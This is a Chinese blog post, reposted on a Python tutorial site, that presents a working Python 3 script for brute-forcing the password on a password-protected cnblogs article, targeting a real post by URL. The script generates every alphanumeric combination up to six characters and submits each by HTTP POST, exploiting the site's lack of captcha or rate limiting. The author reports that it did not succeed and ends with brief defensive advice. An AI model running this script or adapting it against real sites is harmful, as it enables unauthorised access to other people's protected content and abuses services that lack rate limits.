python3实现暴力穷举博客园密码


Posted in Python onJune 19, 2016

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

Python 相关文章推荐
Python解析nginx日志文件
May 11 Python
python实现的AES双向对称加密解密与用法分析
May 02 Python
win7+Python3.5下scrapy的安装方法
Jul 31 Python
Python模拟浏览器上传文件脚本的方法(Multipart/form-data格式)
Oct 22 Python
python实现三维拟合的方法
Dec 29 Python
Python eval的常见错误封装及利用原理详解
Mar 26 Python
超简单使用Python换脸实例
Mar 27 Python
基于python修改srt字幕的时间轴
Feb 03 Python
python 计算概率密度、累计分布、逆函数的例子
Feb 25 Python
OpenCV实现机器人对物体进行移动跟随的方法实例
Nov 09 Python
Python函数中的不定长参数相关知识总结
Jun 24 Python
Python实现为PDF去除水印的示例代码
Apr 03 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 #Python
Python中使用装饰器来优化尾递归的示例
Jun 18 #Python
举例讲解Python面向对象编程中类的继承
Jun 17 #Python
浅谈python为什么不需要三目运算符和switch
Jun 17 #Python
python运行时间的几种方法
Jun 17 #Python
从局部变量和全局变量开始全面解析Python中变量的作用域
Jun 16 #Python
实例讲解Python中global语句下全局变量的值的修改
Jun 16 #Python
You might like
php中取得URL的根域名的代码
2011/03/23 PHP
PHP实现对站点内容外部链接的过滤方法
2014/09/10 PHP
joomla数据库操作示例代码
2016/01/06 PHP
Yii模型操作之criteria查找数据库的方法
2016/07/15 PHP
thinkPHP框架整合tcpdf插件操作示例
2018/08/07 PHP
Laravel数据库读写分离配置的方法
2019/10/13 PHP
extjs之去除s.gif的影响
2010/12/25 Javascript
jquery remove方法应用详解
2012/11/22 Javascript
只需一行代码,轻松实现一个在线编辑器
2013/11/12 Javascript
javascript生成不重复的随机数
2015/07/17 Javascript
jQuery实现的简洁下拉菜单导航效果代码
2015/08/26 Javascript
Angularjs之filter过滤器(推荐)
2016/11/27 Javascript
vue19 组建 Vue.extend component、组件模版、动态组件 的实例代码
2019/04/04 Javascript
vue中利用Promise封装jsonp并调取数据
2019/06/18 Javascript
Vue函数式组件的应用实例详解
2019/08/30 Javascript
基于Layui自定义模块的使用方法详解
2019/09/14 Javascript
深入理解Antd-Select组件的用法
2020/02/25 Javascript
Javascript幻灯片播放功能实现过程解析
2020/05/07 Javascript
[01:33]一分钟玩转DOTA2第三弹:DOTA2&DotA快捷操作大对比
2014/06/04 DOTA
Python中实现字符串类型与字典类型相互转换的方法
2014/08/18 Python
python使用pandas实现数据分割实例代码
2018/01/25 Python
numpy中的meshgrid函数的使用
2019/07/31 Python
python标记语句块使用方法总结
2019/08/05 Python
Python自动采集微信联系人的实现示例
2020/02/28 Python
Python如何设置指定窗口为前台活动窗口
2020/08/12 Python
举例讲解Python装饰器
2020/12/24 Python
css3制作彩色边线3d立体按钮的示例(css3按钮)
2014/05/06 HTML / CSS
Nike爱尔兰官方网站:Nike.com (IE)
2018/03/12 全球购物
班主任寄语大全
2014/04/04 职场文书
关于读书的演讲稿800字
2014/08/27 职场文书
助学贷款贫困证明
2014/09/23 职场文书
离婚协议书应该怎么写
2014/10/12 职场文书
2014年采购工作总结
2014/11/20 职场文书
爱心捐款感谢信
2015/01/20 职场文书
司机个人年终总结
2015/03/03 职场文书
Java Lambda表达式常用的函数式接口
2022/04/07 Java/Android